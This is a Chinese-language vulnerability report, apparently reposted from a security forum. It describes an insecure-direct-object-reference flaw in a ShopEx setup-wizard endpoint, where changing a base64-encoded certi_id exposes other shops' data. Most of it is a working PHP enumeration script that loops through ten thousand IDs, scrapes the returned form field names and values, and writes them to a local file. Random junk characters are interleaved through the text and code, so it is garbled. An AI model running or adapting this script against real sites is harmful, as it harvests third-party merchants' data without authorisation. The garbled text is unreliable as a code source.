ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
' t9 c; C. @2 t: Z2 @# U2 JShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
" F7 O' q3 c$ e- `
; v! L1 U' \0 u* b3 T
# F: T7 v2 Z. V# h
) J9 f5 [' E; ~6 |http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


( \" I( M7 a) `6 L
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

( c( v+ r7 Z: ^; K* w/ t2 @' c

# R6 \+ W* X& P: |0 F* F我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
  T8 C$ p" s! {6 T


% D7 K# _6 b9 f# V7 R5 D& `<?php

                for ($i=1; $i < 10000; $i++) { //遍历
- A, `# z6 t2 h  D$ b: m, ^
- J) r0 w4 }0 c8 A. d% b: y                        ShowshopExD($i);

                }

# }. K. G% _5 S4 |6 g. [) O; t- B6 U                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
, q% _$ T' y  b% L* |: r. c, T4 U
5 ?$ ^! @7 b  _, l0 s' p6 H        $ch = curl_init($url);
; r8 i5 |8 k0 q3 W% j* I
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

7 S. w( j1 m, d        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
( J; K9 m& I) G! f& }! T
& o* h! J9 g4 q        $result = curl_exec($ch);
2 s/ c0 ^9 Z" e9 V6 ?% X
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

+ c5 A/ Q& q0 q        if(strpos($result,$refer))
1 `$ J; S1 t* J; E8 O! B, ^9 {
        {

% `/ t" t6 m$ u  n  p+ i% z                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
, j5 h/ y. [" q' x) y
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

" \% h& W/ L/ H6 |" s1 \+ L8 v  I                foreach ($value[1] as $key) {
3 w! O' e& }. [3 b. s( z$ b
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% I: t. L9 n" U* K$ s& s
2 i# W6 M; ^+ t+ N                        echo $res[1][0].':'.$res[3][0]."\r\n";
4 Q  c4 y8 ~5 N, l* G8 t
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

) H: Y, X0 a) y* b1 M6 R                        fwrite($fp, $col, strlen($col));
# y* w0 ^) }3 V0 \- S+ G
                }

                echo '--------------------------------'."\r\n";
& N4 \. T3 j2 z" @* e
                fclose($fp);

        }
  L* k/ Z, Z, v7 Y* b& v0 i, v
        flush();

        curl_close($ch);

                }
* T8 r; |2 q2 N9 x& a
1 @. z9 s+ `. k, G?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
  {2 i2 W+ o# M+ E